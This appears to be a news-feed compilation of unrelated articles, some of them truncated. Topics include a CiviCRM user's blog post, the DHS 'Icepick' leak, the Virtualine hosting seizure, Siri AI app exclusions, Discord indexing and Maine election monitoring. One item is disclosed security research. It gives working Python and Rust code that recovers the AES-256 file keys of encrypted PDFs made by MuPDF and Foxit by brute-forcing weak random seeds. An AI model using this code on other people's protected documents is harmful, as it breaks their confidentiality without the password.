The People Behind CiviCRM Make All the Difference

Working with CiviCRM every day at the Wikimedia Foundation has given me a real appreciation for the people behind the system. As a user, I know how much we rely on Civi to support our work and how important it is to have people we can turn to when we need help!

What I appreciate most about the Civi team is their willingness to listen, help us work through challenges, and understand things from our perspective as users. Sometimes, we know what we need to accomplish but aren’t quite sure how to get there. Having people who are willing to explore solutions with us and share their knowledge makes such a difference.

Attending my third CiviCamp in Paris made me appreciate this even more. Beyond the sessions and training, one of the best parts was getting to know the people behind the technology and connecting with other users. There’s something special about putting faces to names, sharing experiences, talking through common challenges, and learning from one another. You leave with new ideas, but also with a stronger connection to the people who make this community what it is.

I also loved being able to bring what I learned straight back to my team. During the event, we needed help, and that’s exactly what happened! Apparently, all you need to do is ask or sit on the hallway floor looking lost from so many failed attempts, and voilà, you shall receive! Haha!

My colleague and I were able to solve a couple of Phabricator tasks that had been open for quite some time and create a new view that displays direct mail activities right in a donor’s contact summary. This makes it easier for my team to find important donor information without navigating multiple screens. I also created SearchKit documentation to help with onboarding and support future reporting.

For me, this was a great example of how learning together can lead to practical improvements in our everyday work. Sometimes, we don’t need to reinvent the wheel. We just need to discover what’s possible, share what we know, and have the right people around us to help make it happen.

That’s what makes Civi special to me. It’s not just the technology, but the people who give their time, share their knowledge, and genuinely want to help others succeed.

A big thank you to the Civi team and everyone in the community for your kindness and support. I'm looking forward to the next event to reconnect with familiar faces, meet new people, and see what we can learn and accomplish together!

Leak Exposes 41,000 Homeland Security Workers–Including Undercover ICE Agents

Hacker News

Original Article

The leaked records include the locations of ICE and CBP facilities, workers' cellphone numbers, and the members of groups tied to wiretap programs, Palantir software, and xAI’s Grok chatbot.

An unprecedented leak of Department of Homeland Security records has exposed details of more than 41,000 employees or contractors who work for the department and its constituent agencies. The records include email addresses, phone numbers, and office addresses, but also references to internal systems and sensitive information on undercover and surveillance programs. In all, the leak provides a map of how DHS is organized and how it operates.

The records, which span DHS itself as well as seven component agencies, including Immigration and Customs Enforcement and US Customs and Border Protection, were last updated on August 19, 2026. The transparency nonprofit Distributed Denial of Secrets and cybersecurity researcher and journalist maia arson crimew previewed the data to WIRED, which they say they obtained from a group calling itself the Department of Peace.

DDoSecrets published the archive, which it calls "Icepick," on Wednesday. In a press release, DDoSecrets says the data is from DHS's Okta login system. In a note with the files, the hackers wrote, “They have our information, so it's only fair that we have theirs.”

An Okta spokesperson tells WIRED that it is unaware of any breach of its systems. “We are aware of this report. Okta is secure, and we have no evidence our data or systems were compromised,” the spokesperson says.

The leak comes as DHS has aggressively pursued its critics , seeking to unmask anonymous social media users, obtain customer records on protestors, and secure warrants for surveillance tools aimed at reporters. Since the start of the second Trump administration, DHS and the federal government have moved to hide DHS employees’ names and faces . The agency has also expanded its definition of “doxing”—a term that typically refers to publishing someone’s home address and other personal details for malicious purposes—to encompass the publication of basic facts about public employees, like their names and titles.

The leak follows a breach in which a group of hackers known as ShinyHunters claimed to have stolen personal information on nearly every FBI employee and their families. Law enforcement agencies have arrested several suspects and detained another who is alleged to be part of the group.

The DHS records are searchable on a website crimew built. “I don't think we should let them scare us into not looking into them,” she tells WIRED.

DHS and DOJ did not respond to WIRED’s request for comment. The FBI referred WIRED’s inquiry to DHS.

According to a WIRED analysis of the data, CBP staffers account for more than half of the records. ICE accounts for about 10,000, roughly a third of them in Homeland Security Investigations, ICE’s investigative wing. Another 6,200 belong to US Citizenship and Immigration Services, and nearly 1,000 are tied to the Cybersecurity and Infrastructure Security Agency, more than half of them contractors. Altogether, the files cover about a seventh of DHS’s workforce, revealing how DHS is structured, from senior leadership down to individual immigration agents and detention contractors.

Like most large organizations, DHS uses permission groups to control access to internal systems, according to the leaked records. Nearly everyone named in the leak has access to at least some of these systems. At HSI, 39 employees across more than a dozen field offices belong to groups whose names include “CUC,” which government court filings say stands for “certified undercover operation.” Another group, apparently based in HSI's St. Paul, Minnesota area of operations, references "Keyhole," which federal court filings describe as a certified undercover operation that recently funded HSI's undercover surveillance of Minneapolis protest groups earlier this year. Others reference a “Communications Intercept Center TechOps (CICTO) Program,” a “Title III Intercept Program” for wiretaps, and an “Illicit Sensor Intercept Program (ISIP).”

The names of the groups—there are over 55,000 in all—appear to reference tools for accessing immigration court records, pulling data from seized phones, and conducting surveillance. These include Palantir’s Falcon investigative platform and PenLink, which analyzes phone records and social media.

Two permission groups, named “Executive Leadership” and “AI Access,” appear to list people given exceptions to DHS's web filter, which blocks some websites for employees. They contain the same 13 people, including former DHS head Kristi Noem; Antoine McCord, the recently departed DHS chief information officer who has returned to defense tech company Anduril ; Philip Hegseth, listed as a senior advisor to the DHS secretary and the younger brother of defense secretary Pete Hegseth; and Jayce Krachenfels, listed as a policy adviser, who previously worked as a regional field director for Donald Trump’s 2024 presidential campaign, according to his LinkedIn profile.

Other groups named in the leak reference AI tools, including OpenAI’s ChatGPT, Google’s Gemini, and Microsoft’s Copilot. One, called “Grok.com,” includes eight DHS technology officials, including the department’s former chief information officer and chief data officer.

“If authentic and current, this is an extraordinarily valuable intelligence resource for those seeking to penetrate DHS,” says Alexander Leslie, a national security expert at the threat intelligence company Recorded Future. “This dataset becomes way more valuable when correlated with previously compromised information, commercial data, and other intelligence collections. An adversary could spend months exploiting these relationships to identify vulnerable personnel, develop convincing impersonation attempts, or compromise ongoing investigations.”

More than 700 accounts are associated with a group apparently referencing Signal , the encrypted messaging app, nearly all belonging to CBP personnel. More than 200 CBP accounts belong to a group referencing Mobile Fortify , a face recognition app immigration agents use to identify people. The group includes field supervisors, special response team operators, and tactical and intelligence agents. About half are in Texas, California, and Arizona.

Roughly 1,300 ICE enforcement accounts have been created since July 4, 2025, when Trump signed the One Big Beautiful Bill Act, which funded the hiring of 10,000 new ICE Enforcement and Removal officers by the end of 2025.

Nearly 20 accounts appear to belong to personnel with the Department of Defense, which the administration styles as the Department of War; eight are in a group titled “ICE Tip Line DOW Surge.” About 170 accounts are listed as providing “military processing support” at ICE facilities, and 35 others explicitly identify National Guard members.

Dozens of accounts have job titles like “Designated Immigration Officer” and “287(g) Officer,” which mark local law enforcement personnel authorized to carry out some immigration enforcement duties . Many list county sheriff's offices and jails as their workplaces. The records also include roughly 4,400 “associates,” whose jobs range from IT developers and data scientists to nurses and detention officers. Of those, 145 are named as a “contractor” or “high risk contractor.”

More than 300 records reference senior titles associated with DHS headquarters, from Noem down through deputy undersecretaries, assistant secretaries, and chiefs of staff to officials overseeing intelligence, technology, biometrics, and privacy. Most records also name a supervisor, which could allow anyone analyzing the dataset to reconstruct reporting relationships across the department.

The Trump administration has prosecuted protesters for posting information about individual ICE officers and warned others for doing so. In June, 15 Minnesota residents were charged under laws related to stalking and threats of violence, which prosecutors linked to their participation in ICE-opposition activities. More than 100 HSI agents , including undercover operatives, took part in an operation that included widespread surveillance and infiltration of group chats.

Adam Steinbaugh, a senior attorney at the nonprofit civil liberties group FIRE, says that the Trump administration has taken an expansive view of 18 USC 119 , a law that prohibits people from sharing “restricted personal information” about federal officers or their families with the intent to threaten them.

"This is information that would be on a business card,” says Steinbaugh of the names and basic work details included in the archive. “That's not something the government can criminalize."

Despite the potential sensitivity of other records in the leaked data, the creators of Icepick do not consider it doxing. They see it as an accountability tool.

“The DHS especially as an agency completely lacks accountability, despite many parts of it being incredibly unpopular. The people who work there know this too, for example some of their LinkedIn bios simply say ‘stuff at US Government,’” says crimew. “If they weren't hiding their involvement in the repressive arm of the US government there would be no need for us to expose them in the first place.”

What if NYC Just Built Its Own Renewable Energy Infrastructure?

he brains of the left climate world want an Economic Development Corporation for renewable energy....

Original Article

New York City's renewable energy buildout continues at a snail's pace. As of 2025, 90 percent of the power we use in the city comes from non-renewable power sources like fossil fuels burned at local power plants, while peaker plants burning fossil fuels continue to line the city's waterfront, spewing nitrogen oxide and other particulates into the city's neighborhoods during the hottest days of summer. The City has set a goal of relying on 100 percent renewable energy by 2040, but that looks increasingly unlikely, even with the long-awaited Champlain Hudson Power Express line bringing hydroelectricity in from Québec. New York's massive wind power projects are in the crosshairs of the Trump administration, and Governor Kathy Hochul has embraced an "all-of-the-above approach" to energy: approving a fossil fuel pipeline and pursuing a dramatic—and controversial— expansion of nuclear capacity in the state.

But there has been one bright spot amidst all the climate and energy backsliding—New York City has been building out its solar power infrastructure far faster than expected, with the city expected to smash a 2030 goal for 100 megawatts of solar four years early. Solar power, unlike wind turbines, nuclear energy, or hydroelectricity, is cheap to build, and is done with no collateral consequences for nearby communities.

The case of the 9 bit AES key

Original Article

We found that several PDF implementations generate their AES-256 file keys from state spaces small enough to enumerate. In MuPDF, only 9 bits of random state affect the actual AES-256 key. Other PDF editors like Foxit base their AES-256 key on time based randomness and thus also lead to keys that are trivial to recover.

MuPDF AES-256 key recovery worksheets on a desk

Introduction

PDF encryption protects the strings and datastreams in a PDF document, including metadata unless it is explicitly left unencrypted. The password protection mechanism has gone through a bunch of revisions over the years, moving from RC4 to AES and hardening password hashing against brute force attacks. The current version, revision 6, uses AES-256.

When a PDF is encrypted with AES-256, the password does not encrypt the document directly. The implementation generates a random 32-byte file key, which encrypts the content. The password and a salt are then hashed to derive a separate key, which encrypts this random 32-byte file key. Revision 6 makes this hashing deliberately slow; the older AES-256 revision 5 does not.

A PDF can have a user password for viewing and an owner password for changing permissions. Either unlocks the same file key, so the restrictions are up to the reader: with the viewing password, you can also make an unrestricted copy.

We found that this randomness is often generated very insecurely, allowing passwordless decryption of protected PDFs.

MuPDF

MuPDF versions before 1.28.5 use an implementation of the drand48 family to generate their random numbers. This generator is seeded once, using the current epoch in seconds:

static void fz_init_random_context(fz_context *ctx)
{
  /* ... */
  fz_srand48(ctx, (uint32_t)time(NULL));
}

The generator is a 48-bit linear congruential generator:

s_{n + 1} = (𝟶 𝚡 𝟻 𝚍 𝚎 𝚎 𝚌 𝚎 𝟼𝟼 𝚍 s_{n} + 𝟶 𝚡 𝚋) mod 2^{48}

fz_srand48() writes the state as three 16-bit words. The low word is the constant 0x330e , and the 32-bit timestamp occupies state bits 16 to 47:

void fz_srand48(fz_context *ctx, int32_t seed)
{
  uint16_t p[3] = { 0x330e, seed, seed>>16 };
  fz_seed48(ctx, p);
}

When MuPDF needs to generate a key, it calls fz_memrnd() , which will repeatedly take a random number, step the random number generator forward, and then use the lowest byte of this random number as a random byte.

int32_t fz_nrand48(fz_context *ctx, uint16_t s[3])
{
  return fz_rand48_step(s, ctx->seed48+3) >> 17;
}
/* in fz_memrnd() */
while (len-- > 0)
  *data++ = (unsigned char)fz_lrand48(ctx);

The shift discards state bits 0 to 16, and the cast to unsigned char discards everything above bit 24. Every output byte therefore comes from bits 17 to 24 of the LCG state.

The issue is that the higher bits of the state never affect the lower bits. Multiplication and addition can carry bits upward, but not downward. Since each output byte comes from bits 17 to 24, anything above bit 24 can be ignored, even after stepping the generator forward.

That leaves 25 bits that can affect the output. The bottom 16 are always initialized to 0x330e , so only nine bits from the timestamp matter. Timestamps that differ by 512 seconds produce exactly the same byte stream.

Since the possible keyspace is so small, we can just brute-force this by generating all possible 32-byte keys and trial decrypting:

def stream(seed, count):
    state = (seed << 16) | 0x330e
    out = bytearray()
    for _ in range(count):
        state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
        out.append((state >> 17) & 0xff)
    return bytes(out)
candidates = [stream(seed, 64)[32:64] for seed in range(512)]

MuPDF uses the same generator for the document /ID , which is stored in the trailer in plaintext. When writing a new document, it will first draw 32 bytes from the same LCG and then immediately sample the decryption key after, so /ID can be used as an additional check.

Searching all 512 streams in a very unoptimized python implementation using pure brute force takes about 11 milliseconds. On a test document:

time(NULL) mod 512 = 80
/ID[0] = 7628523958da31d6c21c90e39344b28e
/ID[1] = 8be910bddaa1f1a542e5a27ceb115346
key    = c3888ecc8ff554ac93acd689da2ecd6223cb760168622e8a0c44a533a037c212

That key decrypts the document without either password.

Foxit

Foxit PDF Reader 2026.1.3.36551 derives the file key as a hash of the current timestamp, 32 uninitialized bytes, and a constant. In practice these uninitialized bytes are zero filled and do not add any randomness.

SHA-256(uint32_le(time(NULL)) || <32 uninitialized bytes> || "there")

Or as an equivalent python snippet:

from hashlib import sha256
key = sha256(timestamp.to_bytes(4, "little") + bytes(32) + b"there").digest()

The /Perms permissions block contains known plaintext, so the candidate check is one hash and one AES block decryption, with no password hashing and no document decryption:

let mut material = [0u8; 41];
material[..4].copy_from_slice(&timestamp.to_le_bytes());
material[36..].copy_from_slice(b"there");
let key: [u8; 32] = Sha256::digest(material).into();
let cipher = Aes256::new(&key.into());
let mut plain = Block::<Aes256>::from(self.perms);
cipher.decrypt_block(&mut plain);
// Check for some known magic values to indicate successful decryption
(plain[..4] == self.permissions
    && plain[4..8] == [0xff; 4]
    && plain[8] == self.metadata
    && plain[9..12] == *b"adb")
    .then_some(key)

Our Rust implementation searches timestamps downward from the current time, using Rayon for multithreading. On a Ryzen 9 7950X with 32 threads it sustains 370 to 376 million timestamps per second:

Target timestamp	Candidates tested	Search time
Ten years ago	315,573,571	0.84 s
Unix epoch	1,792,610,110	4.85 s

The second row covers every timestamp from 1970 to the present. In practice, for a document that was relatively recently generated, this will be in the order of milliseconds.

timestamp = 1787583328
key       = 41474b490265500f9727f21f1dde34be31bcdfc3830e2dc027daabe5b5984081
/Perms    = fcfbffffffffffff54616462f67f0000   (decrypted)

Where did this key derivation come from

This exact pattern popped up in a couple different PDF editing suites, so we were curious where they got it from. It was already present in PDFium’s initial public commit from May 2014. The file header credits Foxit for the original code , so this code appears to have come from Foxit. Other editors may have picked it up through PDFium:

if (m_Revision >= 5) {
    int t = (int)time(NULL);
    uint8_t sha[128];
    CRYPT_SHA256Start(sha);
    CRYPT_SHA256Update(sha, (uint8_t*)&t, sizeof t);
    CRYPT_SHA256Update(sha, m_EncryptKey, 32);
    CRYPT_SHA256Update(sha, (uint8_t*)"there", 5);
    CRYPT_SHA256Finish(sha, m_EncryptKey);
    /* ... */

The 32-byte middle value is m_EncryptKey , which is the uninitialized contents of the key buffer being hashed into itself. Assuming these bytes are zero filled, this is exactly the key derivation Foxit still uses today.

OpenPDF and iText

OpenPDF 3.0.5 and iText 9.7.1 both route cryptographic randomness through an IVGenerator class, an ARC4 stream seeded with a millisecond timestamp and the JVM’s free memory:

arcfour = new ARCFOUREncryption();
long time = System.currentTimeMillis();
long mem = Runtime.getRuntime().freeMemory();
String s = time + "+" + mem;
arcfour.prepareARCFOURKey(s.getBytes());

The same stream generates the file key and 32 bytes of salts stored in plaintext in /U and /O . We can check guesses for the timestamp and free memory against these salts, then recover the key from the adjacent bytes.

While there is significantly more variance here than in the MuPDF and Foxit examples, this once again shows that the promise of 256 bit security is undermined by insecure randomness sources and lower-than-advertised state space.

Conclusion

In each of these implementations, the file key is generated from a non-cryptographically secure source of randomness. What was supposed to be a security upgrade over older file keys derived from the user’s password instead led to weaker keys in practice. These issues were disclosed to the vendors and, in MuPDF’s case, fixed. Previously published copies cannot be retroactively protected, however, so these bugs may still have an impact.

Police seize Virtualine bulletproof service tied to ransowmare, cybercrime

U.S. law enforcement has seized the primary domain of Virtualine, a bulletproof hosting service advertised on cybercrime forums for facilitating illegal activities.

The service also operated under the names Secury, Massgod, Spamhouse, Lanedo, and Omegatech, and promised to shield customers from legal complaints and requests from law enforcement and other authorities.

The U.S. Department of Justice (DOJ) confirmed that Virtualine marketed services that permitted “illegal/black hat activities” ranging from phishing, spamming, and carding to port scanning.

The FBI seized the primary domain of the service, virtualine[.net], following an investigation that involved Germany’s Polizei Hessen, the Netherlands’ Politie Midden-Nederland, the U.K.’s National Crime Agency, as well as private partners OverRIPE and Lumen.

**Seizure banner**
*Source: BleepingComputer*

Although Virtualine drew an apparent line at child content, authorities say that the operator knowingly hosted an online forum promoting child abuse material and ignored repeated notices from law enforcement, the National Center for Missing and Exploited Children (NCMEC), and a victim’s attorney.

Authorities allege that after legal pressure against the forum increased, Virtualine worked with the administrators to set up a new site.

"Virtualine hosts this new website to this day, and it has already received at least one abuse complaint about sexually explicit images of children found on that website," the DoJ said .

The administrator of the Virtualine rejected the allegation in an open letter to authorities published on a new website, virtualine[.]org, captured by cybersecurity company Silent Push .

The operator said that while claims about the service's illegal activities and customers "deserve a fair investigation," they regarded "sexual exploitation of children as a crime against humanity."

Cybercrime ecosystem

Virtualine also accepted direct Bitcoin payments from customers, helping cybercriminals launder proceeds stolen elsewhere.

Blockchain intelligence firm Chainalysis, which provided intelligence support to law enforcement, linked Virtualine’s payment addresses directly to ransomware operators, infostealer infrastructure, Russian-language cybercrime forums, illicit shops, scams, and phishing platforms.

“Virtualine accepted direct bitcoin payments through unhosted wallet addresses, allowing criminal customers to pay without flagging their funds through hosted exchange compliance programs,” Chainalysis notes .

“Virtualine then laundered those proceeds to conceal their origin,” the blockchain company added.

In a report published today, blockchain intelligence firm TRM said ransomware groups were responsible for 5% of Virtualine’s financial flows, while a Russian drug marketplace made up approximately 44%.

"A large sextortion scheme and a mixer were also major sources of funds," the company said.

TRM says that Virtualine also received payments from the StealC infostealer this year, with transactions indicating a constant financial relationship.

A press release from the Dutch police notes that dozens of physical servers were seized in Limburg , taking hundreds of virtual servers offline.

Politie also said its investigators recovered data from more than 3,000 Virtualine customers, and follow-up action against them is underway.

According to the authorities in the Netherlands, the illegal platform was facilitating cybercrime operations since at least 2022, including ransomware, botnets, infostealers, phishing, and distribution of child abuse material.

Although the bulletproof hosting provider remains partially online, researchers observed that its network prefixes currently have very low routing visibility, suggesting that much of its infrastructure may no longer be reachable.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

In the most recent update to Apple’s devices, iOS 27.2, the company has introduced a new setting to “Exclude Apps” from Siri AI, fulfilling one of our asks from our Encrypt It Already campaign earlier this year .

One of our main concerns with new AI features on devices is how those features interact with end-to-end encrypted content, particularly with secure messaging apps. Many AI features require cloud processing, and despite privacy protections engineered into these systems , the content of secure messaging apps may leave a user’s device without their knowledge. That changes the privacy concerns around using those tools. In a perfect world, users would be able to put a barrier up to ensure data from certain apps doesn’t leave the device. Here was our initial ask:

You should be able to tell the operating system’s AI to not access an app, even if that comes at the “cost” of missing out on some features. The setting should be straightforward and easy to understand in ways the Gemini and Apple Intelligence controls currently are not.

At launch, we found the settings to control Siri AI’s app access behavior pretty confusing . You had to toggle several options to block Siri AI off from accessing an app, or disable Siri AI entirely. Turning off Siri AI and reverting to Siri Classic is, for now, still a good option if you’d prefer to use the older version.

The most recent update is far more clear and does more to protect your data. And, just as expected, it comes at the cost of some features. That’s a good thing, actually. The features not working shows that the new setting is effective.

Here’s how to add apps to the exclusion list, once you’ve updated to 27.2:

Open Settings > Siri > Excluded Apps
Tap “Add Apps” and select any apps you’d like to add to the exclusion list

Now Siri AI cannot access the contents of the app. Excluding an app also means you may lose some features. For example, if you exclude the Apple Messages app, you will no longer be able to have Siri AI read or respond to messages for you. Even the “onscreen awareness” feature, where you invoke Siri and ask it for information about what you’re currently looking at, will not work anymore. For example, if you exclude Signal, you cannot invoke Siri and ask it to discern any information in the Signal app. You’ll just get these messages:

screenshot of apple phone with screenshots of siri interface over the signal app

What’s the State of This on Android?

This update from Apple is also a good excuse to check in on the process on Android. It has improved a little, but is not as straightforward as Apple’s new settings, and lacks the ability to set the screen context feature per-app. But you do have some control over what Gemini can access:

Open up the Gemini app
Tap your user photo, then Settings > Personal Intelligence > Connected Apps
Revoke access to any apps you do not want Gemini to have access to

This process seems to work well enough for some data and we like that it’s opt in, but it’s not exactly intuitive. For example, Signal doesn’t appear there because Signal doesn’t support Gemini’s app access feature at all. That means Gemini can’t access the content of Signal directly, which is good.

But Gemini can read notifications if you’ve enabled the “ Device Assistance ” Connected App (which you likely have, since that also enables basic features, like setting a timer—check under Settings > Personal Intelligence > Connected Apps ), and it can use screen context unless you’ve disabled the Device controls > Screen context > “Use screen and app data” option in the Gemini Settings. These two features may access the contents of the Signal app or notifications, if you choose to use them. We’d prefer a more hard-lined approach that reduces the chances of user error here: Google should give users the ability to turn these features off per app.

Apple clearly understands that some users want stronger controls over what Siri AI can and cannot access. But we think they should go further and offer the option to only use “on device” AI features, similar to what Samsung offered with its Galaxy AI . We’re happy to see this change and think all operating systems need to consider similar controls moving forward.

Court Should Curb Abuse of Grand Jury Subpoenas Targeting Social Media Users

A federal appeals court should curb the government’s abuse of grand jury subpoenas to unmask social media users who criticize lawless immigration enforcement.

That is the message from the ACLU, EFF, and other civil liberties and trade groups who filed a friend-of-the-court brief in a sealed case in the U.S. Court of Appeals for the District of Columbia.

The case involves the government’s investigation of an anonymous Reddit user who commented on a post about an immigration officer in Minnesota. The Department of Homeland Security (DHS) first issued an administrative subpoena to Reddit to unmask the user. When the user challenged the subpoena in court on free speech and statutory grounds ( as many others have ), DHS withdrew it. But then the government obtained a separate grand jury subpoena—a subpoena issued by a prosecutor to gather evidence to present to a grand jury before any criminal charges are filed—for much of the same information. The user then challenged the grand jury subpoena too, and the case is currently being appealed.

The right to speak anonymously is essential. It preserves privacy and shields critics from government retaliation. In the past year, the Department of Justice (DOJ) has issued grand jury subpoenas to social media companies for their users’ personal data. This is frequently done for improper purposes and without really showing that social media users have committed any crime. These subpoenas have the effect of intimidating and chilling critics, as immigration authorities have engaged in invasive , unconstitutional , and sometimes violent conduct .

As the amicus brief makes clear, courts should not defer to the government’s claims regarding the legitimacy of using grand jury subpoenas to unmask internet users. Instead, the subpoenas must receive proper First Amendment scrutiny. Like many other types of legal processes, grand jury subpoenas are issued by federal officials without prior court approval. And they too can be abused to harass or retaliate against people critical of the government.

The amicus brief was filed in early September and recently unsealed. The brief was signed by the American Civil Liberties Union of DC, EFF, the Center for Individual Rights, the Foundation for Individual Rights and Expression, the Cato Institute, and NetChoice.

It is notable that NetChoice signed the amicus brief. It is a trade group that represents many companies who have received similar subpoenas including Reddit, Google, Meta, PayPal, among others. EFF has called on these companies to do more to defend their users’ speech and privacy rights in the face of these subpoenas.

Discord will allow search engines to index discussions in Discoverable Servers and make them accessible on the web to users outside the platform without an account or invitation.

The goal is to surface useful information to the wider internet community instead of keeping it buried in Discord conversations.

“Discussions in Discoverable Servers will soon be easier to find when you search the web, so you can find the answer you’re looking for and step straight into the conversation on Discord,” the messaging platform explains .

The changes apply only to Discoverable Servers, publicly listed communities with at least 1,000 members. The platform says it hosts approximately 63,000 such servers.

This decision excludes private servers, direct messages between users, and group announcements on servers that don’t meet the requirements.

According to the company's schedule, the rollout will happen in two stages:

On November 16, every Discoverable Server will get a public Server Web Page which will display automatically generated summaries of active conversations from that date onward.
Starting mid-December, every eligible message posted on Discoverable Servers will appear on the Server Web Page and may be indexed by web search engines.

Server Web Pages will be automatically created on November 16 if admins haven’t created them by then, and the only way to avoid them is to change the server type to private before the cutoff date.

Discord has been piloting Community Messages and Server Web Pages in the NBA 2K, Rust, and Dead by Daylight gaming groups.

The December rollout will be gradual, and Discord says messages posted before the release date will be excluded.

Channel administrators can choose to exclude individual channels or turn off all channel content sharing entirely using controls available under Server Settings > Web Presence .

Administrator setting — **Administrator data exposure setting**
*Source: Discord*

Community members can also control if their messages appear on the Server Web Page through User Settings > Data and Privacy . However, changing that setting only affects future messages, and past messages that became public cannot be retracted.

If admins and users leave the settings at their defaults, their content will automatically be included in the new sharing scheme.

However, message sharing will stay off by default in all EU countries, the UK, Canada, Brazil, Australia, and South Korea. In those places, members must explicitly enable it in their privacy settings.

Underage users are automatically excluded and cannot activate the feature until they turn 18.

Trump Vows to Send Election “Monitors” to Maine After Far-Right Conspiracies Spread

Intercept

As right-wing Trump allies fearmongered about Somali American voter fraud, Maine trained local law enforcement officers on keeping armed federal agents out. The post Trump Vows to Send Election “Monitors” to Maine After Far-Right Conspiracies Spread appeared first on The Intercept....

Original Article

With voters set to cast ballots in two critical races that could help determine control of both chambers of the U.S. Congress, fears of potential voter suppression are running high in Maine.

Officials in the state have prepared for months against the possibility of election interference from federal officials, and the state remains on high alert in the run-up to the general election on November 3.

Training materials were updated this year to include references to federal statutes barring armed federal agents from polling sites.

Training materials for law enforcement officials in the state, obtained by The Intercept through a public records request, were updated this year for the elections to include explicit references to federal statutes barring armed federal agents from polling sites.

In an interview with the New York Times this week, Maine Secretary of State Shenna Bellows said the inclusion of such references was a direct defense in response to the fearmongering around election integrity from President Donald Trump and his administration.

“This is the first time ever that we have had to engage in scenario planning to safeguard against potential federal interference in elections,” Bellows said. “It seems like the federal government is now adversarial to the states.”

Bellows’s office offered up the training slideshow, which cites a U.S. law that bars armed civil or military officers from posting at voting sites, to law enforcement personnel in the run-up to Maine’s primary election in June and again in the lead-up to the general election on November 5.

Nationwide, Democratic officials have expressed fears that the Trump Administration might weaponize U.S. Immigration and Customs Enforcement or other federal agencies to undermine the rights of voters. In New York, state Attorney General Letitia James issued a reminder to voters that federal officials may not “police the polls,” and the Arkansas chapter of the NAACP called out the assignment of federal election monitors to two counties in the state as potential intimidation .

The Trump administration, meanwhile, has sounded the alarm about the alleged scourge of non-citizens on the voter rolls, sending agents from the FBI and ICE’s Homeland Security Investigations division to probe alleged fraud . A handful of people in California , New York , and North Carolina have been indicted for allegedly voting as non-citizens, but a review of similar cases by the Washington Post found that such cases were often the result of honest mistakes.

In Maine, worries about federal interventions at polling places flared when — following a slew of social media videos from Trump allies suggesting that fraud is already taking place among the state’s Somali American community — a local outlet reported that the Department of Justice would be sending election monitors to the state.

Jon Fetherston, a journalist with the far-right Maine Wire, which is funded by conservative megadonor Leonard Leo, was seen following people in and around an early voting site at Lewiston City Hall and aggressively questioning them. (The Maine Wire did not immediately respond to a request for comment.)

Critics said the moves were tantamount to voter harassment, but Maine Wire editor-in-chief Steve Robinson later defended them as an act of election transparency. Robinson, who has led a crusade against what he alleges to be a network of fraud in the state’s Somali American community, questioned the role of interpreters tasked with helping “jobless Somali bums” cast their ballots.

In the wake of the Maine Wire controversy in Lewiston, Bellows confirmed to the Maine Morning Star that a wave of federal election monitors would be headed to polling sites in Lewiston and Portland.

The Department of Justice on Tuesday confirmed to The Intercept that it intends to send election monitors to Maine for Election Day, but did not elaborate or respond to specific questions about where the monitors were to be sent.

“We will have around 1,000 monitors in counties throughout the United States, but we will not share the full list until Election Day,” a Justice Department spokesperson told The Intercept in an email Tuesday. “All monitors must meet the same legal and ethical requirements, including that they not interfere with the voting process. Every monitor has the same role: observe for potential violations of federal law and report concerns to the Department, which the Department will review after Election Day and act where appropriate.”

Robinson did not immediately respond to a request for comment.

Collins Takes Right-Wing Bait

With Maine a key battleground state for control of Congress — Democratic challenger Troy Jackson is seeking to topple long-serving GOP Sen. Susan Collins , and the Democratic House candidate Matt Dunlap is seeking to best former Gov. Paul LePage in Maine’s 2nd Congressional District — temperatures are running high in the state.

Progressives in Maine worry that even without a robust federal presence at voting places — whether monitors are armed or not — activist campaigns like the one undertaken by the Maine Wire journalists could pose a potential threat to voters’ rights.

“Basically, if you were walking into City Hall and you were Black, you could expect to have this guy come up to you with his phone and ask you all sorts of rude and obviously racist questions,” said Ben Chin, co-director of the progressive Maine People’s Alliance. “We’re trying to encourage everyone to come out to vote, but it makes sense why that might give people pause. You hear a guy like that is outside a polling location, it’s reasonable to wonder, ‘Should I go down there right now?’”

“We have received complaints about the intrusive filming, photography, and harassment of voters in the City of Lewiston by political operatives.”

In a statement to The Intercept, Bellows said the state and the city of Lewiston were taking steps to ensure that voters could cast a ballot free of harassment.

“We have received complaints about the intrusive filming, photography, and harassment of voters in the City of Lewiston by political operatives,” Bellows told The Intercept in a statement. “All voters should be able to exercise their right to vote without feeling watched, questioned, or harassed, and we take these allegations seriously, particularly when it appears that voters were targeted for no other reason than their race or ethnicity. We understand the City of Lewiston has taken steps to address the problem, and we will continue to monitor the situation.”

Collins, meanwhile, took the Maine Wire’s reporting seriously after Fetherston asked the senator at a campaign event about the role of interpreters, which he and the Maine Wire cast as “ electioneering .”

“I’m unaware of those allegations, but certainly only Americans should be voting in American elections,” Collins said. “And it is troubling to me if people are being accompanied into voting booths and handling ballots in a way that is not sanctioned by law.”

The Incredible Shrinking Superpower

The failing war with Iran marks a dramatic retreat by the U.S. from the Middle East. The post The Incredible Shrinking Superpower appeared first on The Intercept....

Original Article

The Limits of American Might

The failure of Tel Aviv and Washington to achieve their war aims in Iran has resulted in the most dramatic American retreat from a region since the U.S. flight from Vietnam in 1975. This startling American defeat — after a generation of forever war failures and stalemates — has been thrown into broad relief by the resumption of another regional conflict that has received far less attention than the Trump administration’s sputtering war with Tehran. This fall, the forces that most Americans know as “the Houthis” have conducted a blitzkrieg in their native Yemen and have been pummeling Saudi Arabia’s aviation and energy infrastructure with missiles and drones. In doing so, they have put a spotlight on the limits of American power, and the shrinking U.S. military footprint, in the Middle East.

The long-standing conflict between Saudi Arabia and northern Yemen’s Ansarullah, or “Helpers of God,” led by the Houthi clan, heated up again in July 2026, when Saudi Arabia struck Sanaa International Airport to prevent a Houthi delegation from landing on its return from the funeral in Iran for slain Ayatollah Ali Khamenei. The Ansarullah government launched its own attacks and, in October, managed briefly to close Saudi Arabia’s own airport. The renewed war has now expanded into a regional conflict, with Pakistan, Türkiye, and, recently, Egypt pledging to defend the kingdom from attack, though none of these regional powers appear eager to conduct operations in Yemen itself. Notably absent from the current conflict is Saudi Arabia’s most powerful ally, the United States, since President Donald Trump has repeatedly declined to intervene on behalf of his Saudi allies.

